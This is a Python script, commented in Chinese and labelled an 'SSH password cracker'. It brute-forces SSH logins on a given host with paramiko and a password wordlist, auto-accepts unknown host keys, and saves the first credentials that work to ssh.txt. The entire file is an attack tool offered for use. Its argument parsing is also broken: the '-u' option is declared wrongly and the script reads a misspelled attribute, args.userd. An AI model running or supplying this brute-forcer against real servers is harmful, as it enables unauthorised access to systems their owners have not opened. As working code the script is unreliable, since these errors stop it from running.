import paramiko
import socket
import time


def is_ssh_open(hostname, username, password):
    # 创建SSH对象
    client = paramiko.SSHClient()
    # 如果之前没有连接 有连接过的ip Are you sure you want to continue connecting(yes/no)
    # 自动选择yes
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # IP地址不正确或服务器没有开启SSH服务
        print(f"无法连接主机{hostname},连接超时!")
        return False
    except paramiko.AuthenticationException:
        print(f"错误的账号密码{username}:{password}")
        return False
    except paramiko.SSHException:
        print("稍后重试")
        time.sleep(30)
        return is_ssh_open(hostname, username, password)
    else:
        print(f"主机{hostname}ssh账号密码是{username}:{password}")
        return True


if __name__ == '__main__':
    # Python终端控制台执行命令时,参数的设置
    import argparse

    parser = argparse.ArgumentParser(description="ssh密码破解")
    parser.add_argument('host', help='主机名字或者主机IP地址')
    # 执行命令 -p
    parser.add_argument("-P", "--pass_list", help="密码字典")
    parser.add_argument("-u", "user", help="用户名")

    args = parser.parse_args()
    host = args.host
    pass_list = args.pass_list
    user = args.userd
    pass_list = open(pass_list).read().splitlines()
    for password in pass_list:
        if is_ssh_open(host, user, password):
            open("ssh.txt", "w").write(f"{user}@{host}:{password}")
            break
